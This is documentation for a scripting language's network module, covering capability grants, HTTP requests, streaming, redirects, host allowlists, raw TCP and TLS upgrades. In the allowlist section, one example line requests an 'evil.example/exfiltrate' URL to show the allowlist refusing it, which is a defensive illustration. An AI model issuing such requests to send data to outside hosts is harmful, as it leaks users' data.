Calling an API or fetching a URL needs the net
capability. Like file access, it's off by default: the http
module doesn't exist unless the host grants net, so network
access can't appear in a script — or leak into an embedded build —
unless someone deliberately turns it on. And when it's on, the host says
which hosts the script may reach.
#Granting the capability
From the CLI:
scua --allow-net script.scua # any host
scua --allow-net=api.example.com script.scua # only this host
scua --allow-net=api.example.com,cdn.example.com script.scua # an allowlist
Without --allow-net, import http is a
compile error, before a line runs:
$ scua script.scua
script.scua:1: module `http` needs the `net` capability, which this run was not granted — grant it with `--allow-net` on the CLI, or the host's capability API when embedding
The CLI's HTTP client is built on Zig's standard library, with its
own pure-Zig TLS — so HTTPS works out of the box, with no system
curl or OpenSSL to install.
#Making requests
import http
match http.get("https://api.example.com/status")
Ok(resp) -> print(`got {resp.status}: {resp.body}`)
Error(why) -> print(`request failed: {why}`)
end
http.request(url, opts?)→Ok({ status, headers, body })orError({ kind, message }).optstakesmethod(default"GET"),headers,body, andmax_bytes(the decoded-response cap, 8 MiB by default).http.get(url, opts?)andhttp.post(url, body, opts?)are the same thing with the method fixed.
The response body is bytes,
not a string — a response can be an image as easily as JSON.
json.decode takes bytes directly, and
bytes.to_string converts when you want text.
#Headers
Pass them as a table. Names are lowercased on the way out and on the
way in, so read resp.headers["content-type"] whatever case
the server used, and duplicate response headers arrive comma-joined:
let resp = http.post("https://api.example.com/v1/messages", payload, {
headers = { "x-api-key" = key, "anthropic-version" = "2023-06-01" },
})?
print(resp.headers["retry-after"])
A few names are the client's to set, and it refuses them rather than
sending a duplicate or a lie: host,
connection, content-length,
transfer-encoding, accept-encoding,
content-encoding, te, upgrade,
and expect. A request with a body and no
content-type is sent as application/json.
#Errors you can branch on
Error carries a kind — a
stable token — and a human message. That's what lets a
retry policy retry the right things: a DNS blip is worth another go, a
rejected certificate never is.
match http.get(url)
Ok(resp) -> use(resp)
Error(e) when e.kind == "dns" or e.kind == "connect" or e.kind == "timeout" -> retry_later()
Error(e) -> give_up(e.message)
end
The kinds: not_allowed, bad_url,
bad_header, bad_method, dns,
connect, tls, tls_untrusted,
timeout, too_large, protocol,
unsupported, interrupted. Match on
kind; print message.
#Deadlines
Every request has one, covering the whole exchange — connecting, the TLS handshake, sending, and reading the response. It defaults to 120 seconds:
let resp = http.get(url, { timeout_ms = 5s })? -- a health check should give up quickly
let slow = http.post(url, payload, { timeout_ms = 5min })? -- a long completion should not
An expired deadline is Error({ kind = "timeout" }), and
the connection is closed rather than left running.
Whoever runs the script can set a bound for the whole run:
scua --allow-net=api.example.com --http-timeout=30000 script.scua
A per-call timeout_ms may tighten that
bound but never loosen it — if the run says 30 s and the script asks for
5 minutes, it gets 30 s. That way an operator can bound someone else's
script without editing it. timeout_ms = 0 asks for no
deadline, which the run-wide bound still constrains if one is set.
#Reading a response as it arrives
http.get and friends wait for the whole body. For
Server-Sent Events, NDJSON, or any long response you want to process
while it streams, http.open stops at the response head and
hands you the body as a stream:
let o = http.open(url, { method = "POST", body = payload,
headers = { accept = "text/event-stream" } })?
if o.status != 200 then
http.close(o.stream)
return Error(`server said {o.status}`)
end
while true do
match http.read(o.stream, 8192)
Ok(chunk) -> do
if len(chunk) == 0 then break end -- empty bytes: the body ended cleanly
feed(chunk)
end
Error(e) -> break -- a failed read closes the stream for you
end
end
http.close(o.stream)
- Empty bytes mean the body ended cleanly. A
transport failure is an
Errorinstead — and the stream is closed for you, so a dropped connection can't leave a request running. http.closeis how you cancel. There's no protocol-level "stop" for a streamed response; dropping the connection is what makes a server (or a model) stop generating. Safe to call twice, and streams close automatically when the partition is torn down.- Chunks split anywhere — including mid-character —
so a chunk is
bytes, not text. Buffer withbytes.concat, find your delimiter withbytes.find, and only convert a complete line withbytes.to_string. - With
--io=async, opening and reading both wait without blocking: other actors keep taking turns while the request is in flight and while the stream is idle between chunks. Without it, a read blocks until bytes arrive, which is fine for a script whose whole job is the stream and wrong for a server. - Parsing the frames is yours, deliberately: providers disagree about
how a stream ends (
data: [DONE], anevent:marker, or just closing), so the runtime hands you the bytes rather than picking a favourite. SSE framing is about 20 lines.
#Redirects
The client never follows one. A 3xx comes back as an ordinary
Ok response — the request succeeded, the server said "look
elsewhere" — so you decide:
match http.get(url)
Ok(resp) when resp.status >= 300 and resp.status < 400 -> print(`moved to {resp.headers["location"]}`)
Ok(resp) -> use(resp)
Error(e) -> print(e.message)
end
That's deliberate. Following a redirect automatically would take you
to a host the allowlist never approved; re-requesting explicitly means
every hop goes through the same check. Treat location as
what it is — a string the server chose.
A request is fallible, not fatal. A connection
that's refused, a host that times out, a TLS failure, a URL that doesn't
parse — every one comes back as an Error value you match
on, exactly like json.decode. It never
crashes the script. So the ? operator chains requests
cleanly:
fn latest_version()
let resp = http.get("https://api.example.com/version")? -- Error short-circuits out
return json.decode(resp.body)?
end
A 404 or 500 is not an Error — the
request succeeded, the server just answered with that status.
Nor is a 3xx. Check resp.status when you care:
match http.get(url)
Ok(resp) when resp.status == 200 -> use(resp.body)
Ok(resp) -> print(`server said {resp.status}`)
Error(why) -> print(`could not reach it: {why}`)
end
#The allowlist is a boundary
If you grant --allow-net=api.example.com, a request to
any other host comes back as an Error — before a
packet leaves the machine:
http.get("https://evil.example/exfiltrate") -- Error("host is not in this run's net allowlist")
So even a script you trust with network access can only talk to the
hosts you named. Grant a tight allowlist and that's the script's entire
reach — auditable from the command line, not buried in the code. A bare
--allow-net (no list) allows any host; use it for
first-party scripts, and a specific allowlist for anything you're less
sure of.
#Raw TCP sockets
When you need to speak a protocol the http module
doesn't — a line-based service, a database wire protocol, something
custom — the same net capability gives you raw TCP via the
net module. It's gated and allowlisted exactly like
http: import net needs
--allow-net, and net.dial checks the host
against the allowlist.
import net
match net.dial("example.com", 80)
Ok(conn) -> do
net.write(conn, "GET / HTTP/1.0\r\nHost: example.com\r\n\r\n")
match net.read(conn, 256)
Ok(data) -> print(data) -- up to 256 bytes; "" means the peer closed
Error(why) -> print(why)
end
net.close(conn)
end
Error(why) -> print(`could not connect: {why}`)
end
net.dial(host, port)→Ok(connection)orError. The connection is an opaque, non-sendable handle: you can't pass it to another partition in a message — the runtime refuses to copy it — so authority over a live socket can't leak across an isolation boundary.net.read(conn, max)→Ok(bytes)(up tomax; an empty string means the peer hung up) orError.net.write(conn, data)→Ok(bytes_written)orError.net.close(conn)→Ok(nil). Connections are also closed automatically when the partition is torn down, so a leaked handle won't hold a socket forever — but close them when you're done.
Reach for http for ordinary requests; reach for
net when you genuinely need the bytes.
#Encrypting a raw connection with TLS
Managed databases require TLS, so a raw socket on its own will not reach RDS, Neon, Supabase or Cloud SQL. Two verbs add it, and which one you want depends on the protocol:
| Protocol | Use | Why |
|---|---|---|
| PostgreSQL, MySQL, SMTP, IMAP, XMPP | net.dial then net.start_tls |
they negotiate in-band: you connect in plaintext, exchange a request, and only then encrypt |
| Redis, and anything HTTPS-shaped | net.dial_tls |
the server expects encryption from the first byte |
Getting this backwards is the mistake to avoid.
net.dial_tls to PostgreSQL cannot work: it
starts encrypting immediately, where the server is waiting for a
plaintext SSLRequest first, so the server rejects the handshake.
import net
-- The in-band shape. Connect, do the protocol's own negotiation, then upgrade.
match net.dial("db.internal", 5432)
Ok(conn) -> do
-- ... send the protocol's request to start TLS, read its one-byte reply ...
match net.start_tls(conn)
Ok(secure) -> print("encrypted") -- the SAME connection, now encrypted
Error(why) -> print(`could not encrypt: {why}`)
end
end
Error(why) -> print(`could not connect: {why}`)
end
net.start_tls(conn, opts?)→Ok(connection)orError. Encrypts an already-open connection and gives you the same handle back, sonet.read,net.writeandnet.closecarry on working. There is one connection and one identity: every reference you hold is now encrypted.net.dial_tls(host, port, opts?)→Ok(connection)orError. Exactlynet.dialfollowed bynet.start_tls.
Both check the server's certificate against your system's list of
trusted authorities, and check that it was issued for the host you asked
for. opts.servername overrides the name to check, and
defaults to the host you dialled, which is almost always what you
want.
Self-signed certificates need permission from whoever starts
the program. Private-network databases often use one, so there
is a way through, and it deliberately takes two steps: the call passes
{ insecure_skip_verify = true }, and the run must
be started with --allow-net-insecure=db.internal, naming
the hosts it applies to. Turning off certificate checking is a trust
decision, so it belongs with the person who decided what the program may
reach — not with a library three levels down that could otherwise switch
it off on a run you believed was verified.
It relaxes less than the name suggests: the hostname is still checked, so the option means "I do not have your certificate authority", not "I will talk to anyone". A self-signed certificate that does not name the host you are connecting to is still refused.
The hosts you name in the flag are the ones you
dialled, not whatever servername the code
passes. Those are the same thing unless a script overrides the name, and
keeping the flag on the dialled host is what stops a grant for one
machine being moved onto a connection to another.
Two things to know. TLS comes from the host, like the HTTP client
does, so a program embedded in something that supplies no TLS gets a
clear Error rather than an unencrypted connection. And the
list of trusted authorities is read once when the program starts, so a
long-running process will not notice a system update to it until
restarted.
#Where the client comes from
The language core carries no HTTP or TLS code at all — the
http module's functions call out to a client the
host supplies. The scua CLI supplies one (Zig's
std.http); a C embedder supplies their own; a WebAssembly
host wires the runtime's HTTP. So the embeddable build stays small
and client-free, and each host uses the networking stack it already
has.
Requests are blocking by default, which is right for a straight-line
CLI script. When you're fanning out — many gets at once — pass
--io=async and the calls run on an offload pool, so under
wait_all/map_all
the waits overlap; the results are identical either way. And
http isn't only a client: the same runtime answers requests
too. See Serve HTTP requests for
http.serve and the separate serve grant.